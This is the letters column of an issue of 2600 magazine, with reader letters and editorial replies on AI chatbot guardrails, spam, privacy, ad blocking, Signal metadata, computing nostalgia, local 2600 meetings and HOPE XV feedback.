You make good points and it’s a message that should be shared. But other than making people feel guilty, what is it specifically you think they should be doing about this? Everyone has challenges and is going through things that the rest of us are likely unaware of. We have so much in our society that we take advantage of without thinking and that most of the rest of the world simply doesn’t have. Even domestically, there is an astounding amount of people who exist with next to nothing. We can all do more as individuals to try and help balance things, but the best of efforts will never be as effective as they could be if those in power would simply commit to addressing this ongoing issue. Lately, they seem more committed to extending that gap rather than bridging it. And the rest of us just don’t do enough to stop them. At some stage, this way of doing things will become unsustainable. Until then, all we have is our individual compassion and determination to help those less fortunate. They are much closer than many of us realize.

Dear 2600:

I admit that I write bad code. I’m not very good at coding and math. But I still try. I’ve been “coding” since I cracked open my TRS-80 COCO 2 manual at eight years old and taught myself BASIC and wrote a choose-your-own-adventure in 1985 with GOTO statements. I’m 46 now. Most days it feels like I’m still writing the same pedantic BS. I still use “i” in ranges because I was taught “i” meant “integer.” I have no excuses. My father is a mainframer. My mother met him as a keypunch operator. I am a fail.

Jason

We hope you don’t really believe that. Everyone has different abilities and interests, and many share the same insecurities like assuming you don’t measure up by comparing yourself to others. It’s good to be dissatisfied and impatient; it means you’re likely to try something new and learn all kinds of new things along the way.

Dear 2600:

This is not a political letter about Donald Trump or the election. This is about “AI” and the so-called guardrails they’re using. I’ve been using the Copilot app on my phone to find bible verses to support my positions when arguing with Christians on social media. Tonight, I asked copilot to tell me how Donald Trump matches the description of the antichrist from Revelation. It started to display a response, but then it erased what it had written and replaced it with a message saying it couldn’t talk about that. I asked progressively less specific questions, and every time it did the same thing - started to answer, then erased the answer and said it couldn’t talk about it. Finally, I just typed “Donald Trump” and it did it again! WTF is with these “guardrails?”

JH

Using a phone to record what gets erased might be interesting. But the AI is only doing what it’s programmed to do by human beings, who apparently live in mortal fear of saying something that could be interpreted as controversial. Google’s Gemini is equally timid. If you ask when Election Day is, you will receive this response: “I can’t help with that right now. I’m trained to be as accurate as possible but I can make mistakes sometimes. While I work on perfecting how I can discuss elections and politics, you can try Google Search.” It’s amazing what a little intimidation can do.

Dear 2600:

I need to share this with those who will truly appreciate the absurdity: Gmail is flagging messages from other Google services as spam.

Hel

Considering most of the spam we receive comes from Gmail, that’s hardly a surprise. We’ve heard many stories of Gmail accounts getting completely full with spam sent by other Gmail accounts leading to automated lectures telling end users how to do a better job maintaining their accounts. And, of course, their horrible spam filter catches more legitimate mail than any filter we’ve ever seen. It definitely cuts down on spam, as well as a ton of mail you probably want to see. They can definitely do better on all fronts.

Dear 2600:

deer value Customer 26000, we are the Website host people. you see,your payment have ecpired and you need to Pay again. this is not normal Pay so need to Pay more then normal. if you do’nt pay you account be deleted and you need t start over again. you see, this is are check up and all websites need to Pay us for checkup. This is is NOT trick, this real. the other email broken so we had use this email. you have to pay within a couple of days OR ELSE. REMEBER.

sinserely, tom, a REAL PERSON. (Not other email)

tom

As long as it’s “NOT trick,” we’ll do as you say. This letter clearly had help from AI as we don’t think it’s possible for a mere human to be this sloppy.

Dear 2600:

My local Books-A-Million has been carrying 2600 editions for years, but the last time I looked on their site for the location (and called for a human to check), they said they weren’t carrying it anymore. It’s still listed on the store location section of y’all’s site, 4225 14th St W, Bradenton, FL 34205.

I’m not 100 percent sure if they didn’t happen to have it at the moment, or if they’ve stopped stocking it altogether, but it sounded like they aren’t anticipating a restock.

Gabe

This is another example of how employees can spread misinformation. We checked into this specific store and they still get copies, although they tend to sell out rather quickly. (Looking at their website probably won’t get you accurate info regarding magazines.)

Questions

Dear 2600:

Why does my desktop need airplane mode?!

RC

While people don’t tend to bring desktop computers onto airplanes (although we love the idea), there are reasons you may want what airplane mode gives you. For instance, if you want to completely disconnect from Wi-Fi or from the Internet entirely, airplane mode will let you do that. If you want to troubleshoot a connectivity issue, this mode can be helpful. The fact that it’s called “airplane mode” doesn’t mean the feature is confined to that circumstance. It’s more likely you’d use this option on an airplane with a laptop, hence the name. But many operating systems don’t have different versions for laptops and desktops so the name is the same for each.

Dear 2600:

What is the best low cost/no cost solution to track bait packages left out for porch pirates?

Adrian

We’re not sure what your desired end result is. Putting an actual tracker on (or in) a package seems like overkill and it would only take you as far as when the thief opened the package, which often happens almost immediately. If this is a big problem in your community, police have been known to help plant bait packages with GPS and quickly follow the offender. Deterrence is less entertaining but more effective and that can come in the form of a video doorbell or carefully positioned camera. Even if they’re not actually connected, this is often enough to get someone to reconsider their actions. Post office boxes and maildrops are great solutions as well and worth the cost if this is an issue in your neighborhood. While huge companies like Amazon can afford to replace stolen items, most smaller businesses can’t, a fact which drives even more people into Amazon’s arms.

Dear 2600:

Just reaching out to see if you ever received my photographs? Maybe if you cannot use them for an issue now, maybe later. Please just inform me if printed as I would love a copy and normally my work is just stolen! Is there any way you could send me the summer issue as I have had trouble tracking it down? When I can I would love to get a subscription. Much love.

GREASY GUY

If your photos are selected for publication, we will contact you at the address you gave us. This also holds true for articles. As there can sometimes be a period of a couple of months before we get in touch (we are quarterly, after all), please be sure to use an address that isn’t going to disappear in the near future.

Dear 2600:

What’s the best adblock for YouTube lately?

NT

We could tell you what’s working now, but odds are it will have changed between the time we write this and the time you get this issue. Let’s just say it’s an ongoing battle. What Google has done to YouTube is truly awful. They continue to add unskippable commercials of increasing length and, worst of all, something they call “mid-roll ads,” which interrupt videos and live feeds with super annoying commercials. They convince content creators that this will help them make money, but it completely destroys the content with interruptions at the most inopportune moments. To make it even more annoying, Google strongarms viewers into paying for a no commercial experience after annoying the hell out of them with this default setting. While they claim to split this money with content creators, there’s no way to prove that your viewing habits directly help the videos you’re looking at.

There has been tremendous backlash to Google’s more aggressive tactics of late. Ad blockers are resulting in viewers being punished and losing all access to YouTube. New versions of ad blockers that thwart this are constantly being released.

While Google is free to cheapen and destroy the platform they bought, this whole thing really hurts creativity by making videos less desirable to watch, pressuring content creators to think only in terms of money, and to basically go to war with those who either won’t pay them for a free service or who have found a way to bypass ads. Big companies have been trying to force-feed commercials for decades with over-the-air TV, DVDs, DVRs - and even inside movie theaters. But the whole YouTube situation is the most aggressive we’ve ever seen them fight.

Dear 2600:

I’m gonna ask the obvious question. Why aren’t “hackivists” hacking banks and wiping out everyone’s debts like the media suggests? Ransomware groups go after big companies and social justice groups do their hactivist thing. But at least one of the groups needs to step up and take one for the team. And no, I don’t believe for a second if hackers “redistributed” the wealth it would destroy the economies. I believe that’s just another myth that’s used to keep us in line. Rich people don’t actually need or even use all that money. Where is Anonymous? Get to work!

DG

We can’t begin to describe the number of people who stand on the sidelines and tell hackers what they need to do to fix the world. Let us be clear. We don’t take orders. We’re not able to magically snap our fingers and gain access to all of the important stuff and route it elsewhere like on a TV show. And even if we could, we would never come to an agreement on which method was the best one. Ask someone which operating system is best. Ask someone which social media network is the least corrupt. Stand back and watch the fun.

When we stop putting hackers on pedestals or sending them to prison, we may actually come to grips with the fact that we all share certain values and we all have unique talents. No one person and no one group can do it all. Don’t expect others to fight the battles you want. We can join forces, but we don’t exist to be sent on missions just because others think it’s a good idea.

Dear 2600:

I have a question. I was under the impression the Facebook group was affiliated with the actual 2600, but you’ve denied this. Why would they call themselves 2600 without being run by the magazine?

Kareem

As we’ve said, it’s a very loose affiliation, similar to that of those who attend 2600 meetings or are on the 2600 IRC network as users or channel operators. Clearly, not everyone there represents us, although everyone is aware of and interested in what we focus upon. There are always going to be people who act like jerks and sometimes those people even help with the structure. If we gave up every time that happened, we wouldn’t have any outside networks to help people communicate. The door is always open to improvements and additional outlets.

Dear 2600:

Is there a radio that can be set to record a frequency at a certain time like a VCR?

PS

The idea of standalone audio recorders has existed for ages, but many don’t know about it. A VCR can be hooked up to a radio if you have the right connectors. Tuning to the correct frequency is trickier and in most cases needs to be preset. If there are actual radios with VCR abilities built into them, we would love to know about those. We actually would have loved to have known about them many years ago.

Dear 2600:

Is there a way we can get all the AOL users off the Internet? It hasn’t been the same since they got access.

RS

People have been saying this since the 1990s. They’re probably here to stay. There are far bigger problems to fret over.

Dear 2600:

Hi! I’m a longtime reader and medium-time subscriber, as well as a personal-time graphic designer. Do you accept submissions for merchandise designs? I’ve had a few ideas for shirts, etc. that I would be happy to donate in exchange for credit (and maybe some back issues I don’t have!) if they’ll sell and help bring in more money for 2600. Looking forward to hearing from you and keep up the good work.

seth

We are indeed on the lookout for artists such as yourself to help come up with new ideas for various pieces of merchandise. You can submit some basic ideas as you would an article to articles@2600.com. If it’s something that we think might work, we’ll be in touch. Thanks for thinking of us.

Dear 2600:

Greetings, Earthlings!

I’m not one to dwell on past things, but light years ago I actually had two articles as well as a back cover photo printed in the same issue of this fine publication. Had/has this been done by anybody (human or otherwise) before/currently? I’m just looking for some mid-life validation that I did something record-breaking with my time on your planet. If so, I need to know now before somebody meets or breaks this historical milestone in the future.

Live from Taco Bell

Alien Embryo Head

We don’t keep these kinds of records, but we are aware that sometimes people have more than one article in an issue, sometimes a letter or two in addition, and perhaps even a payphone or back cover photo. We don’t think anyone has done all of that in one issue and it’s possible someone has equaled your total in our 41 years. We’re not about to look. Enjoy your stay and hopefully submit more material in the light years ahead.

Dear 2600:

I am interested in learning more about information security and my professor gave me this group’s website. I was curious if there was a date for an upcoming meeting? Is the group open for students as well?

Spencer

If you click on the Meetings button, you should find all of the info you need for the meeting closest to you. Meetings are open to all. But don’t expect a formalized teaching curriculum. Meetings vary, but most are informal gatherings where you can make all kinds of connections.

Dear 2600:

Signal is designed to be highly secure, with strong end-to-end encryption that ensures that only the sender and recipient of a message can read its content. But I am concerned that the government could access the metadata around the messages and was wondering if you knew any details about how Signal protects or fails to protect that metadata from local governments?

John

Signal has had a “sealed sender” feature since 2018. It hides the sender’s information, significantly reducing metadata that can be seen. Basically, the sender’s identity is sent to the recipient, but it gets encrypted with a key that Signal doesn’t have. This works by default between contacts. Users can opt to also receive “sealed sender” messages from non-contacts, which presents the possibility of abuse from strangers. While there always is a chance that circumstantial evidence could be used to link two people (such as the IP of those who connected to Signal at a specific time), this method greatly reduces the possibility of casual capturing of metadata.

Dear 2600:

I was texting with a buddy today. He asked what I was up to and I told him I was learning to weld. A few hours later he sent a screenshot of his work computer showing welding suggestions in his web browser. He said he had zero items logged in on his phone for work-related items (browsers, email, apps, nothing!). Any idea how this could occur? No Alexas or smart TVs or anything.

AH

Coincidences are always possible, but in reality we drop more bread crumbs than we realize. A casual look at a website, a mention online or even in a room with a listening device makes this sort of thing possible. But that doesn’t mean we have to accept it. Some people may welcome the concept of “helpful eavesdropping,” but many of us don’t. There needs to be a clear and concise method of establishing our preferences with severe penalties for any violations of our privacy.

Dear 2600:

Sorry to bother you with this dumb question, but in 1975 when I was visiting my future wife (visiting Connecticut from Virginia), I would often pick up a station near New York City that seemed very 2600-ish. I see the audio archives go back to the mid-80s, but did it broadcast earlier than that? That was 50 years ago!

John

We’re not exactly sure how to interpret that description. Were they specifically talking about technology, questioning authority, making on-air phone calls, etc.? It really could have been any number of stations, most likely noncommercial in nature. We like to believe that the hacker spirit can be found in many places.

Dear 2600:

In 10:3 (Autumn 1993) Emmanuel Goldstein wrote a review of the “LOD Communications Underground Hack/Phreak BBS Message Base Project,” which was described as “an anthropological voyage into the origins of the hacker world.” The project was available for purchase at the time for “$39 on disk, $117 on paper.” I’m wondering if you know if any copies of this project still exist? I’d like to buy a copy but cannot find any traces of the project online aside from some historical mentions in 2600 and Phrack.

(Please forgive me for not purchasing a copy of the project at the time of your review, but in 1993 I was four years old.)

AV

Even if you’re four, you should know a good deal when you see one. This was clearly one of those. We also failed to buy it and now we regret it. (The review appears to be of the concept of the project and not from the actual content.) We did track down a link that seems to have most, if not all, of this content: www.textfiles.com/messages/.

History

Dear 2600:

I’m interested to find someone to join our Compuseum, computer history museum project, who can enlighten on the hacker evolution in computing. I organize for Compuseum and am eager to add a representative from the 2600 community who can educate about the inception, evolution, and future direction of the hacker concept and community and its transformative role in the computer industry.

Jim Scherrer, President and Founder

Compuseum, Inc.

West Chester, Pennsylvania

www.theCompuseum.org

We hope one or more of our readers can fulfill this role. Best of luck to all.

Dear 2600:

The Matrix is (was?) back in theaters recently for the 25th anniversary of its original release. My wife and I took our 13-year-old daughter and two of her friends to see it. I remember when it first came out how amazing some of the effects were and how fresh the story was. The kids enjoyed it enough... none of them were blown away. The revolutionary effects that were introduced are so common now it’s not surprising. And the AI takeover story line has been done and redone and lampooned so many times, it brings new meaning to beating a dead horse. Personally, I enjoyed the rewatch, as when it originally came out I missed it in theaters and ended up getting the DVD mailed to us from Netflix (most likely). The acting was a lot worse than I remember, though, but the general us vs. the machines story was still great.

Next up for re-release to theaters is The Fifth Element. We will see if Leeloo and Korben Dallas will blow the collective minds of some 13-year-olds.

AZ

Special effects are cool, but they don’t age well, no matter how good they appear at the time they’re released. But if you have a good story to tell, that will transcend the ages. It doesn’t mean we should have constant reboots of the same ones, though.

Dear 2600:

Way back when, I was doing tech support for Bell Atlantic DSL when they announced that they were changing the name to Verizon. They sent out an internal memo and stated that marketing agencies came up with the name Verizon by combining two words and that they wanted to subliminally influence people’s thoughts when they saw the name - Veritas (meaning truth) and Horizon. All I could think after reading that was “Verizon - the truth is on the horizon” and wondered why that’s the particular message they wanted people to think of when they saw the name. I still haven’t figured that one out.

Chris

The corporate mind doesn’t seem to follow any logic sometimes.

Stories

Dear 2600:

I worked at a college computer lab many years ago. A student walked up to the helpdesk and she was bawling. She had just finished writing a paper in an email program (pine) and she had to send it to her professor within the hour to not get a zero. She said she hit send and it just went away.

I was supposed to tell her if she didn’t back it up, it was gone. That was the lab policy, but I didn’t do that. I wanted to change the outcome this time. I was really tired of telling students that I couldn’t do anything to help them. I had a look at her home directory (Solaris), and I saw something that didn’t belong (core file). It was too large to examine.

The woman started to calm down because she realized I wasn’t going to give up. I asked her what her paper was about and she said squirrels. I think she was a biology major. Computer source code isn’t going to have a mention of squirrels normally. I converted the data into something else (hexadecimal) with a special tool (xxd). I then searched for squirrel in this data and was able to find the beginning of her paper and the end. I extracted that part of the data and saved it to a file. It contained her whole paper, but it was filled with lots of invalid characters. All the student had to do now was to remove the invalid characters in her paper, reformat, fix spacing, and send. She calmed down, fixed her paper, and sent it. I never got her name.

A couple of days later, students started coming to the help desk and asking for me by name so they could come back when my shift started. Word must have gotten around that I helped a student.

Management found out and fired me.

David

Stories like this are more the norm than the exception. It’s great that there are people like you making things better for anyone. It’s awful that the people in charge never seem to get it and also never seem to stop being in charge. We hope this experience didn’t leave you embittered and that you realize the positive effect we all can have on others.

Dear 2600:

This is how I crashed the VAX 11/780. I was studying industrial robotics at Humber College in Toronto in the ’80s. I got some funding to do a research project, so I was going to build a simple beacon-based triangulation navigation system to drive an electric wheelchair. Because the college invested a lot of money into dedicated Schlumberger CAD workstations, we didn’t really have access to AutoCAD. They were pretty advanced for the day. I needed to design a circuit board for my project, so I decided to give it a try on the CAD system.

I went about adding the circuit traces and solder pads, and went to print it and see how it looked. Because we only had a pen plotter, the circuit traces looked OK, but the solder pads weren’t filled in. Everything was vector-based, so the solder pads were outlines of ovals with holes in them. Made sense. So, as a workaround, I decided to cross-hatch the solder pads. I increased the cross-hatching density so it looked “filled” on the screen. Perfect - until I printed it out. The plotter started to draw some of the circuit traces - all good. Then it got to the first solder pad. The pen started wiggling back and forth, matching the insane density I decided to use on the screen. Then the ink started to make this big blot on the paper. Then the pen effectively drilled through the paper as the pen rapidly went back and forth on the same spot. My drawing was becoming a wet black mess. Oops!

So I canceled my print job and decided that cross-hatching the solder pads was probably a bad idea for a pen plotter. I had hundreds of solder pads in my drawing. I did a select-all, delete cross-hatching. Then all the workstations in the CAD lab locked up.

It wasn’t unusual for these workstations to crash. We’d reboot them and wait for them to come back up all the time. This time, nothing happened after the reboot. It was getting later in the evening, so everyone just gave up and went home.

The next day, I was walking to class. The VAX sysadmin spotted me and called me into her office. “James, what were you doing last night?” I didn’t think anything of it at the time, and told her the whole story. “Your job ran for 12 hours!” I was like “huh?” Apparently Schlumberger CAD didn’t like deleting all that cross-hatching, probably ran into some stack or memory issue, and the whole system ground to a halt.

Chalk one up for great noob powers.

James

Technology just isn’t any fun unless you occasionally break things.

Dear 2600:

Just read the 38:3 “The Lost Art of Windows 9x Pranking.” 38:3 - I know, I take a while getting through my pile of 2600s. Anyway, I remember a Windows 3.x prank I found. While looking through the win.ini file and other .ini files, which were plain text and editing them bypassed the GUI, I found the screensaver timeout was set in seconds. So if you chose one minute in the GUI, it saved as 60. Hmm, I thought. Can I set it to less than 60? Of course I could! One second timeout activated! Why on earth it was designed that way - to allow for stupid timeouts - I don’t know. Oh, hang on, it’s Windows, of course. That explained it. Anyway, good fun setting colleague’s screensaver to kick in after they stopped typing for one second.

Rob

This is probably the funniest thing we’ve heard in a while. Thank you.

Dear 2600:

I want to start by saying that I have been a longtime reader, first-time subscriber, and first-time “writer.”

Growing up, I worked at the computer shows up and down the East Coast with my father and uncle, selling printers and other items like mouse pads and peripherals. My dad and uncle weren’t computer-savvy people, but they could sell salt to a slug, so my primary duties were to unload the van and answer the technical questions when fired my way. One of my favorite perks was that my dad and uncle usually gave me an “advance” on my pay. I would run around quickly before the vendors opened up, grabbing enough parts to throw a whole PC together. They would let me sell it at our table, usually as a combo deal with a printer, so the both of us would make some money. It was some of my fondest memories.

At the conventions, I would see so many assortments of people. Still, there were always a few “old heads” gathered up towards the center, chairs pulled up, long gray hair and beards, just talking and drinking coffee, almost like time itself stood still right there in that spot, as the crazy amount of people shuffled along around them.

I was so young at the time, and I would see these guys and sit and listen, initially, kind of off to the side, but eventually, they pulled a chair up and let me fire away questions like crazy, and they never turned me down for an answer. But they would talk about things that were way above my head, like SunOS and “C,” and the differences between assembly syntax that they had to get used to for jobs they worked at, and “Ma Bell,” and so many other terms that I would have to figure out what it all meant, and they would bring me manuals and books. But the ones they didn’t have for me, they would point me to a few bookselling vendors and tell them that “Mark” or “Bob” sent me, and would always hook me up with some of the most remarkable books and trinkets, and that is where I found my first books on *Nix, Linux, lock picking, copies of the Rainbow books, and my first ever 2600!

I swear, there was a single light shining down on the single 2600 they had available, propped up against some book about C. It was a sign for me to get it. But it was also sitting next to a book on Slack with the first beta, which housed a single CD ROM and a few dozen floppy disks, with Tux, the penguin plushie, so it was a no-brainer that I needed both.

On the drive home, I must have read your magazine, front to back, a dozen times, and I was hooked. Since then, I may have missed a few, but I always did my best to grab a copy; no matter where I was at in the world, I had a lingering fear of getting a subscription, and not because of being on some stupid “list,” but because I kept getting in trouble with the law at the time (which your magazine may, or may not have some hand in), and had to keep moving around. Eventually, the law caught up to me, and I was lucky enough to be forced to join the army; instead of going to jail, the judge was actually really good and looking out for me, but it still presented the issue of a subscription and getting mail on time and regularly.

In the army, my MOS was 31U, which was like encrypted satellite communications, which, of course, since it had a keyboard, got lumped into the computer world, setting up old ring networks, installing OSes, and fixing computers. We even got our hands on an exceptional government-issued version of Windows NT, with some source code on disk to be audited. It was insane even to think of its existence, and most people would never believe me or confirm. Eventually, I became one of the “first” members of the army’s “Be All You Can Be” cyber division, where my MOS changed to a 74B. However impressive my new job was, it had me traveling all over the U.S., so getting a subscription was still nearly impossible.

Fast forward almost 20 plus years, and I finally got my first home. I was feeling reminiscent and headed to Barnes and Noble to pick up my favorite magazine and find a few books on how to wire a house without burning it down. I had looked everywhere in the magazine area’s usual spots, but could not find it. I remembered hearing about how B&N would sometimes keep them behind the counters, so I went and asked about it. The clerk told me they no longer stock physical copies, and I was devastated. Luckily, I found the book I needed, so I didn’t burn down my house like I thought I would, and I immediately bought my first online subscription!

So, I waited for what seemed to be an eternity. I needed my fix. I was getting the heebie-jeebies (it was only a few days; your team is fantastic). I got this ominous package in an orange sealed envelope with no return address or anything, and the first thing my wife said to me was, “What the hell did you do now.” Of course, my mind was racing, but as my panic subsided, I finally opened it up. It was my first ever subscription to 2600, and it was a glorious day. Also, thank you for making me like some secret club member; my postman probably thinks I am getting government secrets now.

My life may have turned out differently than it is now without discovering your magazine. Your magazine and team were there throughout it, even when my second son was born. I even read one while bouncing him on my lap as my wife slept right after delivery. Thank you for the lifetime of memories, stories, and wealth of information. I hope you stick around for the rest of my life at least. After that, you are free to do whatever you want, but until that day, continue doing what you always have cause it’s perfect, but most importantly, critical to the world.

Side note: I am Vegan, don’t drink or smoke, and run a lot, so I plan on being around for an incredibly long time. Keep the subscriptions and physical copies coming.

Kevin B.

Thanks for the story and the kind thoughts. You’ve lived quite an adventure. For those who don’t know, MOS stands for Military Occupational Specialty; you can find a full listing at Wikipedia. We didn’t get the location of your local Barnes and Noble but we’re certain the clerk was mistaken as we’re supposed to be stocked in all of them. This kind of thing has been happening for decades. And for the record, we do have a return address on our envelopes but not the name of the magazine.

Dear 2600:

What has made you laugh doing tech support for the family? I once told an uncle to right click. He got a pen and wrote down the word “click” on a piece of paper.

Dan

We’ve known of people who have thrown entire computers out because they couldn’t stop junk mail from going to their AOL accounts. There are quite a few other stories, but they start to get rather humiliating beyond this. We’d love to hear what our readers come up with.

Dear 2600:

This was my first issue. It was taken by my seventh grade teacher not because it was hacker-related and not because I was reading it in class - but because it had a toilet on the front. Never got it back.

Steven

[image: 17-1991-spring]


We always believed in giving teachers and parents as many excuses as possible to get upset at us.

Responses

Dear 2600:

Today I saw this YouTube video by Derek Muller (a.k.a. Veritasium). In it he showed how easy it is to become another person - that is, to send and receive phone calls as if you were using that person’s mobile phone, which in the current era is basically the same thing as becoming that person. I hope that many of you at 2600 and Off The Hook have seen it too (youtu.be/wVyu7NB7W6Y). One of the participants in the video even referenced his experiences with the CCC.

I haven’t subscribed to the magazine in a while, so you may have covered this info there. But I have listened to Off The Hook since 1992 or ’93. My comment, which I hope you address on an upcoming show and do not feel is an attack on 2600 or Off The Hook, is that I was upset that I had to learn about this from, for lack of a better word, an amateur.

Mr. Muller is an influencer with, as far as I can tell, no background in hacking or technology or science or anything else he reports on. He is just a fan of these things. Someone with media savvy and a good general education. I enjoyed his report, but wondered why I hadn’t learned about this first on Off The Hook? Then I wondered, what other similar content might be out there that Off The Hook should be covering but never thought to?

Sometimes we may need you to be our teacher.

Glenn

There are thousands of perspectives and stories out there and we do our best to cover as many of them as we can. Sometimes we need to find out about others from our readers, listeners, and attendees. Apart from hearing that this person is an influencer and a fan of hacking, there’s not a whole lot of description here. We have, however, covered topics like identity theft and Caller ID spoofing on numerous occasions over the years.

Dear 2600:

Hashes are quite helpful! I know now that I downloaded the corrected 41:3 issue.

Just so you know, I found an error in one of the first articles (“Further Password Discourse”), where the second endnote (ROT26) has the number 1 in the text, so clicking/tapping it brings up the first reference. Endnote 3 is correctly referenced in the text. When you said you had fixed references, I thought you’d found the same error I did!

Editing is such fun. I do captioning, and can never seem to catch all the errors, no matter how many times I proofread.

glad.plan7231

With more versions of issues comes more potential for errors. Thanks for the positive attitude and we’re sorry for the mixups.

Dear 2600:

In my letter regarding 41:1 “AI Is Not The Problem - We Are,” I assert that the term “disinformation” is a term cooked up by people who would rather censor rather than debate. In response, the editor lectures me on the dangers of disinformation, a premise I hope illustrates a misunderstanding. To the editor, I offer this question. Why use the word “disinformation?” Why not use the word “lie?” I submit that the word “lie” would place the onus on the accuser to debate the merits. The word “disinformation” is used instead, because it has come to mean that an assertion is axiomatically false. Crucial detail is missed when painting with such a broad brush - a convenient consequence for those unwilling to debate on the merits of an assertion.

!H

It’s an essential distinction for those who don’t want to endlessly debate the same points with an endless batch of people who need to be convinced. When something is proven to be false after going over all of the facts and weighing the evidence, the world needs to move on to other matters. We’re quite happy to use the word “lie” to those who keep asserting that something proven false is true, but, as you say, the onus would then be on us to once again “debate the merits” and we would never reach the end of this dance. Disinformation is the proper term for proven false facts that continue to be spread by those in or desiring power. And we are likely to see quite a bit of it in the near future.

Tales of Meetings

Dear 2600:

I’m looking to start a 2600 meeting here in the Madison area of Wisconsin. I didn’t see any meetings listed in the entire state when I went looking for one to attend, so I thought I’d take the initiative to try to get one formed up. I used to buy 2600 hard copies at Waldenbooks in the Brickyard Mall (west side Chicago, where I was born and raised) when I was in my teens. I admittedly lost touch with the scene while I started a family and pursued my career, but started reading again during COVID. I’m looking forward to getting a meeting going and am following the steps you list at 2600.com. Do you still announce on Usenet at alt.2600? I remember reading posts decades ago, but didn’t think anyone really paid attention to it anymore since Reddit, X, Facebook, etc.... I’ve been going to the scuttled IRC server for over a year now and have a subscription to the physical mag since COVID. Only big question I would have is if you could offer a suggestion of a good general topic for a first meeting, sort of something to base it around so we’re not just sitting around making random conversation. I have a few different places I know I can hold the meeting where they wouldn’t care if we had laptops or other electronics, so it’s pretty wide open.

Michael

To be clear, the IRC server hasn’t been abandoned; the server’s name is literally “scuttled.” We actually don’t make announcements on Usenet anymore and recently discovered that we still were promoting that in our meeting guidelines, along with good old-fashioned BBSes. We’ve made a few updates which should help.

As for topics, we suggest that you don’t overthink it. People “sitting around making random conversation” is sort of what most meetings actually are. While some have more of a structured format, most are super-informal and are designed so people can talk to whoever they wish and not be obligated to participate beyond that. Rather than put yourself through the stress of having to come up with something to talk about, we believe letting people get to know each other first is vitally important and, if desired, will make such a format far easier to put together in the future. Best of luck!

Dear 2600:

I’m currently waiting at what I believe is the correct date, time, and location for the San Francisco meeting - the street level of 4 Embarcadero Center near a public info touchscreen device - but there’s no one else here. I wonder if the SF 2600 meeting doesn’t exist anymore? Or if I just have it wrong somehow.

JSS

We have heard from people who met up with others at the San Francisco meeting, but things can change from month to month. We’ll keep an eye on this one and print an update if needed.

Dear 2600:

I used to go to the Toronto meeting, then the Barrie one, now nothing....

Terry

Did hacker gatherings become illegal in Canada? We just don’t get it. We have meetings in all kinds of places around the world and there used to be so many in Canada. It’s perplexing, to say the least.

Dear 2600:

I wanted to let you all know that I plan to create a 2600 meeting in Birmingham, United Kingdom, to continue the work started by the previous group. After reading the guidelines from your website, I wanted to know what else I need to do to get things started and make things “official.”

Thomas

Just let us know, either through our Bluesky handle or through the email address, both listed on our meetings page (physical or virtual).

Dear 2600:

As per the guidelines, I am emailing you about the South Bend (Indiana) 2600 meeting. A few engineering students came by and we chatted about social engineering. Not too many people at the cafe today, but it was dang dreary outside and the day after Halloween. Could be people are tired.

number9

People are always tired. But it sounds like your meeting is doing well. As the meeting becomes a regular event that people know about, you will likely see more of them. This is how these gatherings grow and, most importantly, stay relevant. Thanks for the update.

Dear 2600:

Two months ago, many were away at a computer party, but I went to the Stockholm meeting anyway. Was by myself the first 30 minutes, but then four new ones came, all from the same tech company. Led by this woman who use to read 2600 throughout the year but never went to a meeting. After another hour, a regular showed, so we were six in total. Not as epic as most meetings, but very nice.

Last month, there were no new people, but ten regulars showed up. Awesome atmosphere. Our private Signal group (you get invited when you visit the meeting in person) has been getting super active the last couple of months - about 10 to 30 messages a day. Our Matrix group is open to anyone, but less active.

As coordinated in our Signal group, we actually got a theme going this time: lockpicking. So three of the visitors brought their kits - quite fun indeed. We will probably do themes again.

/Psychad

The Stockholm meeting continues to provide a welcoming atmosphere with all kinds of learning and socializing taking place. We hope to see more from other places too.

Dear 2600:

Under Virginia, you list “Arlington (See District of Columbia).” Under District of Columbia, you list “Arlington: First floor food court by Sakina’s at Fashion Centre at Pentagon City, 1100 S Hayes St.”

Why does the Arlington listing point to the DC listing which gives the location in ...Arlington?

How about listing the Arlington location under Virginia and point the DC listing to Arlington?

Gabriel

This dates back decades when we listed meetings at the Pentagon City Mall (now called Fashion Centre) in the same exact fashion, pointing people from Arlington to District of Columbia for an Arlington listing. Before that, we didn’t even call it Arlington and instead had it as Washington DC. All it took was one person to explain why this makes no sense and now it’s listed as it should be. We thank you for pointing out this repeated error. If Washington DC were a state, this would never have happened. But we digress.

Dear 2600:

I was looking at the details for the next meeting and noticed that the address listed on the 2600 site is different from the one on hou2600.org. Which location should I go to? Are these still active? Thanks in advance!

Young Venmo

Thanks for letting us know about this. It was a real mess with no less than five locations listed, depending on where you looked (social media, email updates, websites, etc.). In the interests of harmony, we’re going to list what’s on the website, as that seems to have been the most recently updated. Let’s hope this is the right choice.

Discoveries

Dear 2600:

In Mr. Robot, episode 1.6 at 10:52, Elliot talks about getting into website design by reviewing the source code and doing the copy/paste, along with adjusting the code for a new client. The website he was working from was www.2600.com!

Charles

That is correct and it’s a web page from the 1990s, which makes sense in the story. We were quite happy to hear that it was one of his favorite sites.

Dear 2600:

It was interesting to see a reference to 2600 in my journalism class. The material for the class consisted of a book by Bowling Green State University journalism professor Jim Foust. The content is a bit dated, but I still appreciated the reference to the case the federal government brought over DVDs in the ’90s. As a younger listener who only discovered 2600 in 2014 thanks to a chance purchase at Micro Center, this was an interesting bit of lore I did not know.

I enjoyed the series from the train this year; it was a cool feature, and I enjoyed hearing the updates. I know you have referred to Off The Wall as a form of catharsis; it’s equally cathartic to have consistent voices weekly that have remained remarkably consistent. I have been going back to the train episodes to remember a time when things still felt normal. I am concerned like many for the next four years for all of us, but I will take solace in the two hours of programming weekly as a brief escape.

NR

We’re honored to provide this for however many people benefit. Constants are important in our lives and we can find them in a huge variety of places.

More Feedback From HOPE XV

(Note: Here are a few more letters that contained feedback for HOPE XV and, as per tradition, we thought they might be of interest to readers. Names have been omitted since we didn’t explicitly tell writers that their comments might be printed.)

Dear 2600:

First, I want to say that this was the first time I’ve been to a hacker conference, and that I really enjoyed the experience, both as an attendee and as a speaker. The talks were interesting, the location was easy to find, and the signage on-site made it easy to navigate. The food trucks were awesome. The website contained all the information that I needed to schedule my days and answer questions I had. Everyone I interacted with there was friendly.

I am wondering if there’s anything that can be done to improve whatever volunteering system is in place for HOPE, because it was clear to me that the staff could have used more help. Some ideas that I had were to offer a discounted price and badge to volunteers so that they are more incentivized to show up (currently it seems that volunteers have to pay full price) or maybe solicit, organize, and schedule volunteers into shifts before the event starts, so that the need is made more apparent beforehand. I personally would have signed up for a shift and baked it into my schedule if I had been aware before showing up, though I realize that organizing volunteering beforehand probably adds more work for the planning committee to take on.

Thanks again for the chance to speak at HOPE - I had a great time.

